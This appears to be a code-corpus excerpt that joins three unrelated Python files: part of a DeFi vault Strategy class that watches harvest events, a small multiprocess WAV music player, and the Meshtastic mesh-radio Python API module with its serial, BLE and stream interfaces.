"estimatedTotalAssets",
"lentTotalAssets",
"balanceOfPool",
"balanceOfWant",
]
STRATEGY_EVENTS = ["Harvested"]
logger = logging.getLogger(__name__)
class Strategy:
def __init__(self, strategy, vault, watch_events_forever):
self.strategy = contract(strategy)
self.vault = vault
try:
self.name = self.strategy.name()
except ValueError:
self.name = strategy[:10]
self._views = safe_views(self.strategy.abi)
self._harvests = []
self._topics = [
[
encode_hex(event_abi_to_log_topic(event))
for event in self.strategy.abi
if event["type"] == "event" and event["name"] in STRATEGY_EVENTS
]
]
self._watch_events_forever = watch_events_forever
self._done = threading.Event()
self._thread = threading.Thread(target=self.watch_events, daemon=True)
@property
def unique_name(self):
if [strategy.name for strategy in self.vault.strategies].count(self.name) > 1:
return f'{self.name} {str(self.strategy)[:8]}'
else:
return self.name
def __repr__(self) -> str:
return f"<Strategy {self.strategy} name={self.name}>"
def __eq__(self, other):
if isinstance(other, Strategy):
return self.strategy == other.strategy
if isinstance(other, str):
return self.strategy == other
raise ValueError("Strategy is only comparable with [Strategy, str]")
def watch_events(self):
start = time.time()
self.log_filter = create_filter(str(self.strategy), topics=self._topics)
for block in chain.new_blocks(height_buffer=12):
logs = self.log_filter.get_new_entries()
events = decode_logs(logs)
self.process_events(events)
if not self._done.is_set():
self._done.set()
logger.info("loaded %d harvests %s in %.3fs", len(self._harvests), self.name, time.time() - start)
if not self._watch_events_forever:
break
time.sleep(300)
def process_events(self, events):
for event in events:
if event.name == "Harvested":
block = event.block_number
logger.debug("%s harvested on %d", self.name, block)
self._harvests.append(block)
def load_harvests(self):
if not self._thread._started.is_set():
self._thread.start()
self._done.wait()
@property
def harvests(self) -> List[int]:
self.load_harvests()
return self._harvests
def describe(self, block=None):
results = fetch_multicall(
*[[self.strategy, view] for view in self._views],
[self.vault.vault, "strategies", self.strategy],
block=block,
)
info = dict(zip(self._views, results))
info.update(results[-1].dict())
for view in STRATEGY_VIEWS_SCALED:
if view in info:
info[view] = (info[view] or 0) / self.vault.scale
# unwrap structs
for view in info:
if hasattr(info[view], '_dict'):
info[view] = info[view].dict()
return info
|
mp.py | ''' Doc_String '''
####################################################################
r'''################################################################
pydub makes stuff quieter by:
applying a gain to the audio_segment like this:
def apply_gain(self, volume_change):
self._data --> is a bytes object
sample_rate = struct.unpack_from('<I', data[pos + 4:pos + 8])[0]
wav_data = read_wav_audio(data)
self.sample_width = wav_data.bits_per_sample // 8
dat = audioop.mul(self._data, self.sample_width, db_to_float(float(volume_change)))
return self._spawn(data=dat)
#################################################################'''
####################################################################
def _stream_( data_queue, exit_queue ):
"Blocks until SONG is sent, then starts Process to play SONG"
paud = pyaudio.PyAudio()
stream = paud.open(format=8, channels=2, rate=44100, output=True)
print('starting _stream_')
while True:
"Wait until new song sent via the queue"
data = data_queue.get(block=True,timeout=None)
if data == '': break
stream.write(data)
stream.stop_stream()
stream.close()
paud.terminate()
print('close _stream_')
return 0
####################################################################
####################################################################
def poll_queue( song_queue, data_queue, exit_queue ):
"Blocks until SONG is sent, then starts Process to play SONG"
player = None
print('starting poll_queue')
while True:
"Wait until new song sent via the queue"
song = song_queue.get(block=True,timeout=None)
if song == 'lower':
print('lower (NOT IMPLIMENTED)')
continue
"End last audio player process"
if player != None:
print('terminating _mixer_')
player.terminate()
if song == '': break
print('s:',song)
print('r:',repr(song))
"Start a process that listens for the next Audio track"
player = Process(target=_mixer_, args=( song, data_queue ))
player.daemon = True
player.start()
print('close poll_queue')
####################################################################
####################################################################
def _mixer_( song, data_queue ):
"sends song data to the stream process"
print('starting _mixer_')
CHUNK = 1024
wf = wave.open(song, 'rb')
data = wf.readframes(CHUNK)
while data != '':
data_queue.put(data)
data = wf.readframes(CHUNK)
return 0
####################################################################
####################################################################
def run(song_queue):
"Proxy that allows us to select a song and it sends the song to the mixer"
songs = listdir()[10:20]
for i,s in enumerate(songs): print(i,s)
print()
while True:
IN = input()
if IN == ' ' or IN == 'lower':
song_queue.put('lower')
continue
if IN == '':
song_queue.put(IN)
break
song = songs[int(IN)]
song_queue.put(song)
####################################################################
####################################################################
def main_loop():
"Create QUEUE and start progress_bar process"
song_queue = Queue()
data_queue = Queue()
exit_queue = Queue()
"Start a process that listens for & plays audio data"
stream_proc = Process(target=_stream_, args=( data_queue, exit_queue ))
stream_proc.start()
"Start a process that listens for the next Audio track"
music_player = Process(target=poll_queue, args=( song_queue, data_queue, exit_queue ))
music_player.start()
"Start the main App"
run(song_queue)
## Close Processes ##
"Check if music player is still running"
if stream_proc.is_alive():
data_queue.put('')
stream_proc.join(1)
if stream_proc.is_alive():
print('terminating stream_proc')
stream_proc.terminate()
if music_player.is_alive():
song_queue.put('')
music_player.join(1)
if music_player.is_alive():
print('terminating music_player')
music_player.terminate()
####################################################################
r'''################################################################
bits per sec = 4 * sample_rate * secs
#################################################################'''
####################################################################
import audioop
import pyaudio
import wave
from multiprocessing import Process, Queue, active_children
from queue import Empty
from os import path, chdir, listdir
from time import ctime
music_folder = r'C:\Users\Hogue\Desktop\Code Challenges\Pokemon\MUSIC\WAV'
chdir(music_folder)
if __name__ == '__main__':
main_loop()
pass
####################################################################
####################################################################
|
__init__.py | """
# an API for Meshtastic devices
Primary class: SerialInterface
Install with pip: "[pip3 install meshtastic](https://pypi.org/project/meshtastic/)"
Source code on [github](https://github.com/meshtastic/Meshtastic-python)
properties of SerialInterface:
- radioConfig - Current radio configuration and device settings, if you write to this the new settings will be applied to
the device.
- nodes - The database of received nodes. Includes always up-to-date location and username information for each
node in the mesh. This is a read-only datastructure.
- nodesByNum - like "nodes" but keyed by nodeNum instead of nodeId
- myInfo - Contains read-only information about the local radio device (software version, hardware version, etc)
# Published PubSub topics
We use a [publish-subscribe](https://pypubsub.readthedocs.io/en/v4.0.3/) model to communicate asynchronous events. Available
topics:
- meshtastic.connection.established - published once we've successfully connected to the radio and downloaded the node DB
- meshtastic.connection.lost - published once we've lost our link to the radio
- meshtastic.receive.text(packet) - delivers a received packet as a dictionary, if you only care about a particular
type of packet, you should subscribe to the full topic name. If you want to see all packets, simply subscribe to "meshtastic.receive".
- meshtastic.receive.position(packet)
- meshtastic.receive.user(packet)
- meshtastic.receive.data.portnum(packet) (where portnum is an integer or well known PortNum enum)
- meshtastic.node.updated(node = NodeInfo) - published when a node in the DB changes (appears, location changed, username changed, etc...)
We receive position, user, or data packets from the mesh. You probably only care about meshtastic.receive.data. The first argument for
that publish will be the packet. Text or binary data packets (from sendData or sendText) will both arrive this way. If you print packet
you'll see the fields in the dictionary. decoded.data.payload will contain the raw bytes that were sent. If the packet was sent with
sendText, decoded.data.text will **also** be populated with the decoded string. For ASCII these two strings will be the same, but for
unicode scripts they can be different.
# Example Usage
```
import meshtastic
from pubsub import pub
def onReceive(packet, interface): # called when a packet arrives
print(f"Received: {packet}")
def onConnection(interface, topic=pub.AUTO_TOPIC): # called when we (re)connect to the radio
# defaults to broadcast, specify a destination ID if you wish
interface.sendText("hello mesh")
pub.subscribe(onReceive, "meshtastic.receive")
pub.subscribe(onConnection, "meshtastic.connection.established")
# By default will try to find a meshtastic device, otherwise provide a device path like /dev/ttyUSB0
interface = meshtastic.SerialInterface()
```
"""
import pygatt
import google.protobuf.json_format
import serial
import threading
import logging
import sys
import random
import traceback
import time
import base64
import platform
import socket
import timeago
import os
import stat
from . import mesh_pb2, portnums_pb2, apponly_pb2, admin_pb2, environmental_measurement_pb2, remote_hardware_pb2, channel_pb2, radioconfig_pb2, util
from .util import fixme, catchAndIgnore, stripnl, DeferredExecution, Timeout
from .node import Node
from pubsub import pub
from dotmap import DotMap
from datetime import datetime
from tabulate import tabulate
from typing import *
from google.protobuf.json_format import MessageToJson
START1 = 0x94
START2 = 0xc3
HEADER_LEN = 4
MAX_TO_FROM_RADIO_SIZE = 512
defaultHopLimit = 3
"""A special ID that means broadcast"""
BROADCAST_ADDR = "^all"
"""A special ID that means the local node"""
LOCAL_ADDR = "^local"
# if using 8 bit nodenums this will be shortend on the target
BROADCAST_NUM = 0xffffffff
"""The numeric buildnumber (shared with android apps) specifying the level of device code we are guaranteed to understand
format is Mmmss (where M is 1+the numeric major number. i.e. 20120 means 1.1.20
"""
OUR_APP_VERSION = 20200
publishingThread = DeferredExecution("publishing")
class ResponseHandler(NamedTuple):
"""A pending response callback, waiting for a response to one of our messages"""
# requestId: int - used only as a key
callback: Callable
# FIXME, add timestamp and age out old requests
class KnownProtocol(NamedTuple):
"""Used to automatically decode known protocol payloads"""
name: str
# portnum: int, now a key
# If set, will be called to prase as a protocol buffer
protobufFactory: Callable = None
# If set, invoked as onReceive(interface, packet)
onReceive: Callable = None
class MeshInterface:
"""Interface class for meshtastic devices
Properties:
isConnected
nodes
debugOut
"""
def __init__(self, debugOut=None, noProto=False):
"""Constructor
Keyword Arguments:
noProto -- If True, don't try to run our protocol on the link - just be a dumb serial client.
"""
self.debugOut = debugOut
self.nodes = None # FIXME
self.isConnected = threading.Event()
self.noProto = noProto
self.localNode = Node(self, -1) # We fixup nodenum later
self.myInfo = None # We don't have device info yet
self.responseHandlers = {} # A map from request ID to the handler
self.failure = None # If we've encountered a fatal exception it will be kept here
self._timeout = Timeout()
self.heartbeatTimer = None
random.seed() # FIXME, we should not clobber the random seedval here, instead tell user they must call it
self.currentPacketId = random.randint(0, 0xffffffff)
def close(self):
"""Shutdown this interface"""
if self.heartbeatTimer:
self.heartbeatTimer.cancel()
self._sendDisconnect()
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is not None and exc_value is not None:
logging.error(
f'An exception of type {exc_type} with value {exc_value} has occurred')
if traceback is not None:
logging.error(f'Traceback: {traceback}')
self.close()
def showInfo(self, file=sys.stdout):
"""Show human readable summary about this object"""
owner = f"Owner: {self.getLongName()} ({self.getShortName()})"
myinfo = f"\nMy info: {stripnl(MessageToJson(self.myInfo))}"
mesh = "\nNodes in mesh:"
nodes = ""
for n in self.nodes.values():
nodes = nodes + f" {stripnl(n)}"
infos = owner + myinfo + mesh + nodes
print(infos)
return infos
def showNodes(self, includeSelf=True, file=sys.stdout):
"""Show table summary of nodes in mesh"""
def formatFloat(value, precision=2, unit=''):
return f'{value:.{precision}f}{unit}' if value else None
def getLH(ts):
return datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S') if ts else None
def getTimeAgo(ts):
return timeago.format(datetime.fromtimestamp(ts), datetime.now()) if ts else None
rows = []
for node in self.nodes.values():
if not includeSelf and node['num'] == self.localNode.nodeNum:
continue
row = {"N": 0}
user = node.get('user')
if user:
row.update({
"User": user['longName'],
"AKA": user['shortName'],
"ID": user['id'],
})
pos = node.get('position')
if pos:
row.update({
"Latitude": formatFloat(pos.get("latitude"), 4, "°"),
"Longitude": formatFloat(pos.get("longitude"), 4, "°"),
"Altitude": formatFloat(pos.get("altitude"), 0, " m"),
"Battery": formatFloat(pos.get("batteryLevel"), 2, "%"),
})
row.update({
"SNR": formatFloat(node.get("snr"), 2, " dB"),
"LastHeard": getLH(node.get("lastHeard")),
"Since": getTimeAgo(node.get("lastHeard")),
})
rows.append(row)
# Why doesn't this way work?
#rows.sort(key=lambda r: r.get('LastHeard', '0000'), reverse=True)
rows.sort(key=lambda r: r.get('LastHeard') or '0000', reverse=True)
for i, row in enumerate(rows):
row['N'] = i+1
table = tabulate(rows, headers='keys', missingval='N/A',
tablefmt='fancy_grid')
print(table)
return table
def getNode(self, nodeId):
"""Return a node object which contains device settings and channel info"""
if nodeId == LOCAL_ADDR:
return self.localNode
else:
n = Node(self, nodeId)
n.requestConfig()
if not n.waitForConfig():
raise Exception("Timed out waiting for node config")
return n
def sendText(self, text: AnyStr,
destinationId=BROADCAST_ADDR,
wantAck=False,
wantResponse=False,
hopLimit=defaultHopLimit,
onResponse=None,
channelIndex=0):
"""Send a utf8 string to some other node, if the node has a display it will also be shown on the device.
Arguments:
text {string} -- The text to send
Keyword Arguments:
destinationId {nodeId or nodeNum} -- where to send this message (default: {BROADCAST_ADDR})
portNum -- the application portnum (similar to IP port numbers) of the destination, see portnums.proto for a list
wantAck -- True if you want the message sent in a reliable manner (with retries and ack/nak provided for delivery)
wantResponse -- True if you want the service on the other side to send an application layer response
Returns the sent packet. The id field will be populated in this packet and can be used to track future message acks/naks.
"""
return self.sendData(text.encode("utf-8"), destinationId,
portNum=portnums_pb2.PortNum.TEXT_MESSAGE_APP,
wantAck=wantAck,
wantResponse=wantResponse,
hopLimit=hopLimit,
onResponse=onResponse,
channelIndex=channelIndex);
def sendData(self, data, destinationId=BROADCAST_ADDR,
portNum=portnums_pb2.PortNum.PRIVATE_APP, wantAck=False,
wantResponse=False,
hopLimit=defaultHopLimit,
onResponse=None,
channelIndex=0):
"""Send a data packet to some other node
Keyword Arguments:
data -- the data to send, either as an array of bytes or as a protobuf (which will be automatically serialized to bytes)
destinationId {nodeId or nodeNum} -- where to send this message (default: {BROADCAST_ADDR})
portNum -- the application portnum (similar to IP port numbers) of the destination, see portnums.proto for a list
wantAck -- True if you want the message sent in a reliable manner (with retries and ack/nak provided for delivery)
wantResponse -- True if you want the service on the other side to send an application layer response
onResponse -- A closure of the form funct(packet), that will be called when a response packet arrives (or the transaction is NAKed due to non receipt)
Returns the sent packet. The id field will be populated in this packet and can be used to track future message acks/naks.
"""
if getattr(data, "SerializeToString", None):
logging.debug(f"Serializing protobuf as data: {stripnl(data)}")
data = data.SerializeToString()
if len(data) > mesh_pb2.Constants.DATA_PAYLOAD_LEN:
raise Exception("Data payload too big")
if portNum == portnums_pb2.PortNum.UNKNOWN_APP: # we are now more strict wrt port numbers
raise Exception("A non-zero port number must be specified")
meshPacket = mesh_pb2.MeshPacket()
meshPacket.channel = channelIndex
meshPacket.decoded.payload = data
meshPacket.decoded.portnum = portNum
meshPacket.decoded.want_response = wantResponse
p = self._sendPacket(meshPacket, destinationId,
wantAck=wantAck, hopLimit=hopLimit)
if onResponse is not None:
self._addResponseHandler(p.id, onResponse)
return p
def sendPosition(self, latitude=0.0, longitude=0.0, altitude=0, timeSec=0, destinationId=BROADCAST_ADDR, wantAck=False, wantResponse=False):
"""
Send a position packet to some other node (normally a broadcast)
Also, the device software will notice this packet and use it to automatically set its notion of
the local position.
If timeSec is not specified (recommended), we will use the local machine time.
Returns the sent packet. The id field will be populated in this packet and can be used to track future message acks/naks.
"""
p = mesh_pb2.Position()
if(latitude != 0.0):
p.latitude_i = int(latitude / 1e-7)
if(longitude != 0.0):
p.longitude_i = int(longitude / 1e-7)
if(altitude != 0):
p.altitude = int(altitude)
if timeSec == 0:
timeSec = time.time() # returns unix timestamp in seconds
p.time = int(timeSec)
return self.sendData(p, destinationId,
portNum=portnums_pb2.PortNum.POSITION_APP,
wantAck=wantAck,
wantResponse=wantResponse)
def _addResponseHandler(self, requestId, callback):
self.responseHandlers[requestId] = ResponseHandler(callback)
def _sendPacket(self, meshPacket,
destinationId=BROADCAST_ADDR,
wantAck=False, hopLimit=defaultHopLimit):
"""Send a MeshPacket to the specified node (or if unspecified, broadcast).
You probably don't want this - use sendData instead.
Returns the sent packet. The id field will be populated in this packet and
can be used to track future message acks/naks.
"""
# We allow users to talk to the local node before we've completed the full connection flow...
if(self.myInfo is not None and destinationId != self.myInfo.my_node_num):
self._waitConnected()
toRadio = mesh_pb2.ToRadio()
if destinationId is None:
raise Exception("destinationId must not be None")
elif isinstance(destinationId, int):
nodeNum = destinationId
elif destinationId == BROADCAST_ADDR:
nodeNum = BROADCAST_NUM
elif destinationId == LOCAL_ADDR:
nodeNum = self.myInfo.my_node_num
# A simple hex style nodeid - we can parse this without needing the DB
elif destinationId.startswith("!"):
nodeNum = int(destinationId[1:], 16)
else:
node = self.nodes.get(destinationId)
if not node:
raise Exception(f"NodeId {destinationId} not found in DB")
nodeNum = node['num']
meshPacket.to = nodeNum
meshPacket.want_ack = wantAck
meshPacket.hop_limit = hopLimit
# if the user hasn't set an ID for this packet (likely and recommended), we should pick a new unique ID
# so the message can be tracked.
if meshPacket.id == 0:
meshPacket.id = self._generatePacketId()
toRadio.packet.CopyFrom(meshPacket)
#logging.debug(f"Sending packet: {stripnl(meshPacket)}")
self._sendToRadio(toRadio)
return meshPacket
def waitForConfig(self):
"""Block until radio config is received. Returns True if config has been received."""
success = self._timeout.waitForSet(self, attrs=('myInfo', 'nodes')
) and self.localNode.waitForConfig()
if not success:
raise Exception("Timed out waiting for interface config")
def getMyNodeInfo(self):
if self.myInfo is None:
return None
return self.nodesByNum.get(self.myInfo.my_node_num)
def getMyUser(self):
nodeInfo = self.getMyNodeInfo()
if nodeInfo is not None:
return nodeInfo.get('user')
return None
def getLongName(self):
user = self.getMyUser()
if user is not None:
return user.get('longName', None)
return None
def getShortName(self):
user = self.getMyUser()
if user is not None:
return user.get('shortName', None)
return None
def _waitConnected(self):
"""Block until the initial node db download is complete, or timeout
and raise an exception"""
if not self.isConnected.wait(10.0): # timeout after 10 seconds
raise Exception("Timed out waiting for connection completion")
# If we failed while connecting, raise the connection to the client
if self.failure:
raise self.failure
def _generatePacketId(self):
"""Get a new unique packet ID"""
if self.currentPacketId is None:
raise Exception("Not connected yet, can not generate packet")
else:
self.currentPacketId = (self.currentPacketId + 1) & 0xffffffff
return self.currentPacketId
def _disconnected(self):
"""Called by subclasses to tell clients this interface has disconnected"""
self.isConnected.clear()
publishingThread.queueWork(lambda: pub.sendMessage(
"meshtastic.connection.lost", interface=self))
def _startHeartbeat(self):
"""We need to send a heartbeat message to the device every X seconds"""
def callback():
self.heartbeatTimer = None
prefs = self.localNode.radioConfig.preferences
i = prefs.phone_timeout_secs / 2
logging.debug(f"Sending heartbeat, interval {i}")
if i != 0:
self.heartbeatTimer = threading.Timer(i, callback)
self.heartbeatTimer.start()
p = mesh_pb2.ToRadio()
self._sendToRadio(p)
callback() # run our periodic callback now, it will make another timer if necessary
def _connected(self):
"""Called by this class to tell clients we are now fully connected to a node
"""
# (because I'm lazy) _connected might be called when remote Node
# objects complete their config reads, don't generate redundant isConnected
# for the local interface
if not self.isConnected.is_set():
self.isConnected.set()
self._startHeartbeat()
publishingThread.queueWork(lambda: pub.sendMessage(
"meshtastic.connection.established", interface=self))
def _startConfig(self):
"""Start device packets flowing"""
self.myInfo = None
self.nodes = {} # nodes keyed by ID
self.nodesByNum = {} # nodes keyed by nodenum
startConfig = mesh_pb2.ToRadio()
self.configId = random.randint(0, 0xffffffff)
startConfig.want_config_id = self.configId
self._sendToRadio(startConfig)
def _sendDisconnect(self):
"""Tell device we are done using it"""
m = mesh_pb2.ToRadio()
m.disconnect = True
self._sendToRadio(m)
def _sendToRadio(self, toRadio):
"""Send a ToRadio protobuf to the device"""
if self.noProto:
logging.warn(
f"Not sending packet because protocol use is disabled by noProto")
else:
#logging.debug(f"Sending toRadio: {stripnl(toRadio)}")
self._sendToRadioImpl(toRadio)
def _sendToRadioImpl(self, toRadio):
"""Send a ToRadio protobuf to the device"""
logging.error(f"Subclass must provide toradio: {toRadio}")
def _handleConfigComplete(self):
"""
Done with initial config messages, now send regular MeshPackets to ask for settings and channels
"""
self.localNode.requestConfig()
def _handleFromRadio(self, fromRadioBytes):
"""
Handle a packet that arrived from the radio(update model and publish events)
Called by subclasses."""
fromRadio = mesh_pb2.FromRadio()
fromRadio.ParseFromString(fromRadioBytes)
asDict = google.protobuf.json_format.MessageToDict(fromRadio)
#logging.debug(f"Received from radio: {fromRadio}")
if fromRadio.HasField("my_info"):
self.myInfo = fromRadio.my_info
self.localNode.nodeNum = self.myInfo.my_node_num
logging.debug(f"Received myinfo: {stripnl(fromRadio.my_info)}")
failmsg = None
# Check for app too old
if self.myInfo.min_app_version > OUR_APP_VERSION:
failmsg = "This device needs a newer python client, please \"pip install --upgrade meshtastic\". For more information see https://tinyurl.com/5bjsxu32"
# check for firmware too old
if self.myInfo.max_channels == 0:
failmsg = "This version of meshtastic-python requires device firmware version 1.2 or later. For more information see https://tinyurl.com/5bjsxu32"
if failmsg:
self.failure = Exception(failmsg)
self.isConnected.set() # let waitConnected return this exception
self.close()
elif fromRadio.HasField("node_info"):
node = asDict["nodeInfo"]
try:
self._fixupPosition(node["position"])
except:
logging.debug("Node without position")
logging.debug(f"Received nodeinfo: {node}")
self.nodesByNum[node["num"]] = node
if "user" in node: # Some nodes might not have user/ids assigned yet
self.nodes[node["user"]["id"]] = node
publishingThread.queueWork(lambda: pub.sendMessage("meshtastic.node.updated",
node=node, interface=self))
elif fromRadio.config_complete_id == self.configId:
# we ignore the config_complete_id, it is unneeded for our stream API fromRadio.config_complete_id
logging.debug(f"Config complete ID {self.configId}")
self._handleConfigComplete()
elif fromRadio.HasField("packet"):
self._handlePacketFromRadio(fromRadio.packet)
elif fromRadio.rebooted:
# Tell clients the device went away. Careful not to call the overridden subclass version that closes the serial port
MeshInterface._disconnected(self)
self._startConfig() # redownload the node db etc...
else:
logging.debug("Unexpected FromRadio payload")
def _fixupPosition(self, position):
"""Convert integer lat/lon into floats
Arguments:
position {Position dictionary} -- object ot fix up
"""
if "latitudeI" in position:
position["latitude"] = position["latitudeI"] * 1e-7
if "longitudeI" in position:
position["longitude"] = position["longitudeI"] * 1e-7
def _nodeNumToId(self, num):
"""Map a node node number to a node ID
Arguments:
num {int} -- Node number
Returns:
string -- Node ID
"""
if num == BROADCAST_NUM:
return BROADCAST_ADDR
try:
return self.nodesByNum[num]["user"]["id"]
except:
logging.debug(f"Node {num} not found for fromId")
return None
def _getOrCreateByNum(self, nodeNum):
"""Given a nodenum find the NodeInfo in the DB (or create if necessary)"""
if nodeNum == BROADCAST_NUM:
raise Exception("Can not create/find nodenum by the broadcast num")
if nodeNum in self.nodesByNum:
return self.nodesByNum[nodeNum]
else:
n = {"num": nodeNum} # Create a minimial node db entry
self.nodesByNum[nodeNum] = n
return n
def _handlePacketFromRadio(self, meshPacket):
"""Handle a MeshPacket that just arrived from the radio
Will publish one of the following events:
- meshtastic.receive.text(packet = MeshPacket dictionary)
- meshtastic.receive.position(packet = MeshPacket dictionary)
- meshtastic.receive.user(packet = MeshPacket dictionary)
- meshtastic.receive.data(packet = MeshPacket dictionary)
"""
asDict = google.protobuf.json_format.MessageToDict(meshPacket)
# We normally decompose the payload into a dictionary so that the client
# doesn't need to understand protobufs. But advanced clients might
# want the raw protobuf, so we provide it in "raw"
asDict["raw"] = meshPacket
# from might be missing if the nodenum was zero.
if not "from" in asDict:
asDict["from"] = 0
logging.error(
f"Device returned a packet we sent, ignoring: {stripnl(asDict)}")
return
if not "to" in asDict:
asDict["to"] = 0
# /add fromId and toId fields based on the node ID
try:
asDict["fromId"] = self._nodeNumToId(asDict["from"])
except Exception as ex:
logging.warn(f"Not populating fromId {ex}")
try:
asDict["toId"] = self._nodeNumToId(asDict["to"])
except Exception as ex:
logging.warn(f"Not populating toId {ex}")
# We could provide our objects as DotMaps - which work with . notation or as dictionaries
# asObj = DotMap(asDict)
topic = "meshtastic.receive" # Generic unknown packet type
decoded = asDict["decoded"]
# The default MessageToDict converts byte arrays into base64 strings.
# We don't want that - it messes up data payload. So slam in the correct
# byte array.
decoded["payload"] = meshPacket.decoded.payload
# UNKNOWN_APP is the default protobuf portnum value, and therefore if not set it will not be populated at all
# to make API usage easier, set it to prevent confusion
if not "portnum" in decoded:
decoded["portnum"] = portnums_pb2.PortNum.Name(
portnums_pb2.PortNum.UNKNOWN_APP)
portnum = decoded["portnum"]
topic = f"meshtastic.receive.data.{portnum}"
# decode position protobufs and update nodedb, provide decoded version as "position" in the published msg
# move the following into a 'decoders' API that clients could register?
portNumInt = meshPacket.decoded.portnum # we want portnum as an int
handler = protocols.get(portNumInt)
# The decoded protobuf as a dictionary (if we understand this message)
p = None
if handler is not None:
topic = f"meshtastic.receive.{handler.name}"
# Convert to protobuf if possible
if handler.protobufFactory is not None:
pb = handler.protobufFactory()
pb.ParseFromString(meshPacket.decoded.payload)
p = google.protobuf.json_format.MessageToDict(pb)
asDict["decoded"][handler.name] = p
# Also provide the protobuf raw
asDict["decoded"][handler.name]["raw"] = pb
# Call specialized onReceive if necessary
if handler.onReceive is not None:
handler.onReceive(self, asDict)
# Is this message in response to a request, if so, look for a handler
requestId = decoded.get("requestId")
if requestId is not None:
# We ignore ACK packets, but send NAKs and data responses to the handlers
routing = decoded.get("routing")
isAck = routing is not None and ("errorReason" not in routing)
if not isAck:
# we keep the responseHandler in dict until we get a non ack
handler = self.responseHandlers.pop(requestId, None)
if handler is not None:
handler.callback(asDict)
logging.debug(f"Publishing {topic}: packet={stripnl(asDict)} ")
publishingThread.queueWork(lambda: pub.sendMessage(
topic, packet=asDict, interface=self))
# Our standard BLE characteristics
TORADIO_UUID = "f75c76d2-129e-4dad-a1dd-7866124401e7"
FROMRADIO_UUID = "8ba2bcc2-ee02-4a55-a531-c525c5e454d5"
FROMNUM_UUID = "ed9da18c-a800-4f66-a670-aa7547e34453"
class BLEInterface(MeshInterface):
"""A not quite ready - FIXME - BLE interface to devices"""
def __init__(self, address, debugOut=None):
self.address = address
self.adapter = pygatt.GATTToolBackend() # BGAPIBackend()
self.adapter.start()
logging.debug(f"Connecting to {self.address}")
self.device = self.adapter.connect(address)
logging.debug("Connected to device")
# fromradio = self.device.char_read(FROMRADIO_UUID)
MeshInterface.__init__(self, debugOut=debugOut)
self._readFromRadio() # read the initial responses
def handle_data(handle, data):
self._handleFromRadio(data)
self.device.subscribe(FROMNUM_UUID, callback=handle_data)
def _sendToRadioImpl(self, toRadio):
"""Send a ToRadio protobuf to the device"""
#logging.debug(f"Sending: {stripnl(toRadio)}")
b = toRadio.SerializeToString()
self.device.char_write(TORADIO_UUID, b)
def close(self):
MeshInterface.close(self)
self.adapter.stop()
def _readFromRadio(self):
wasEmpty = False
while not wasEmpty:
b = self.device.char_read(FROMRADIO_UUID)
wasEmpty = len(b) == 0
if not wasEmpty:
self._handleFromRadio(b)
class StreamInterface(MeshInterface):
"""Interface class for meshtastic devices over a stream link (serial, TCP, etc)"""
def __init__(self, debugOut=None, noProto=False, connectNow=True):
"""Constructor, opens a connection to self.stream
Keyword Arguments:
devPath {string} -- A filepath to a device, i.e. /dev/ttyUSB0 (default: {None})
debugOut {stream} -- If a stream is provided, any debug serial output from the device will be emitted to that stream. (default: {None})
Raises:
Exception: [description]
Exception: [description]
"""
if not hasattr(self, 'stream'):
raise Exception(
"StreamInterface is now abstract (to update existing code create SerialInterface instead)")
self._rxBuf = bytes() # empty
self._wantExit = False
# FIXME, figure out why daemon=True causes reader thread to exit too early
self._rxThread = threading.Thread(
target=self.__reader, args=(), daemon=True)
MeshInterface.__init__(self, debugOut=debugOut, noProto=noProto)
# Start the reader thread after superclass constructor completes init
if connectNow:
self.connect()
if not noProto:
self.waitForConfig()
def connect(self):
"""Connect to our radio
Normally this is called automatically by the constructor, but if you passed in connectNow=False you can manually
start the reading thread later.
"""
# Send some bogus UART characters to force a sleeping device to wake, and if the reading statemachine was parsing a bad packet make sure
# we write enought start bytes to force it to resync (we don't use START1 because we want to ensure it is looking for START1)
p = bytearray([START2] * 32)
self._writeBytes(p)
time.sleep(0.1) # wait 100ms to give device time to start running
self._rxThread.start()
self._startConfig()
if not self.noProto: # Wait for the db download if using the protocol
self._waitConnected()
def _disconnected(self):
"""We override the superclass implementation to close our port"""
MeshInterface._disconnected(self)
logging.debug("Closing our port")
if not self.stream is None:
self.stream.close()
self.stream = None
def _writeBytes(self, b):
"""Write an array of bytes to our stream and flush"""
if self.stream: # ignore writes when stream is closed
self.stream.write(b)
self.stream.flush()
def _readBytes(self, len):
"""Read an array of bytes from our stream"""
return self.stream.read(len)
def _sendToRadioImpl(self, toRadio):
"""Send a ToRadio protobuf to the device"""
logging.debug(f"Sending: {stripnl(toRadio)}")
b = toRadio.SerializeToString()
bufLen = len(b)
# We convert into a string, because the TCP code doesn't work with byte arrays
header = bytes([START1, START2, (bufLen >> 8) & 0xff, bufLen & 0xff])
self._writeBytes(header + b)
def close(self):
"""Close a connection to the device"""
logging.debug("Closing stream")
MeshInterface.close(self)
# pyserial cancel_read doesn't seem to work, therefore we ask the reader thread to close things for us
self._wantExit = True
if self._rxThread != threading.current_thread():
self._rxThread.join() # wait for it to exit
def __reader(self):
"""The reader thread that reads bytes from our stream"""
empty = bytes()
try:
while not self._wantExit:
# logging.debug("reading character")
b = self._readBytes(1)
# logging.debug("In reader loop")
# logging.debug(f"read returned {b}")
if len(b) > 0:
c = b[0]
ptr = len(self._rxBuf)
# Assume we want to append this byte, fixme use bytearray instead
self._rxBuf = self._rxBuf + b
if ptr == 0: # looking for START1
if c != START1:
self._rxBuf = empty # failed to find start
if self.debugOut != None:
try:
self.debugOut.write(b.decode("utf-8"))
except:
self.debugOut.write('?')
elif ptr == 1: # looking for START2
if c != START2:
self._rxBuf = empty # failed to find start2
elif ptr >= HEADER_LEN - 1: # we've at least got a header
# big endian length follos header
packetlen = (self._rxBuf[2] << 8) + self._rxBuf[3]
if ptr == HEADER_LEN - 1: # we _just_ finished reading the header, validate length
if packetlen > MAX_TO_FROM_RADIO_SIZE:
self._rxBuf = empty # length ws out out bounds, restart
if len(self._rxBuf) != 0 and ptr + 1 >= packetlen + HEADER_LEN:
try:
self._handleFromRadio(self._rxBuf[HEADER_LEN:])
except Exception as ex:
logging.error(
f"Error while handling message from radio {ex}")
traceback.print_exc()
self._rxBuf = empty
else:
# logging.debug(f"timeout")
pass
except serial.SerialException as ex:
if not self._wantExit: # We might intentionally get an exception during shutdown
logging.warn(
f"Meshtastic serial port disconnected, disconnecting... {ex}")
except OSError as ex:
if not self._wantExit: # We might intentionally get an exception during shutdown
logging.error(
f"Unexpected OSError, terminating meshtastic reader... {ex}")
except Exception as ex:
logging.error(
f"Unexpected exception, terminating meshtastic reader... {ex}")
finally:
logging.debug("reader is exiting")
self._disconnected()
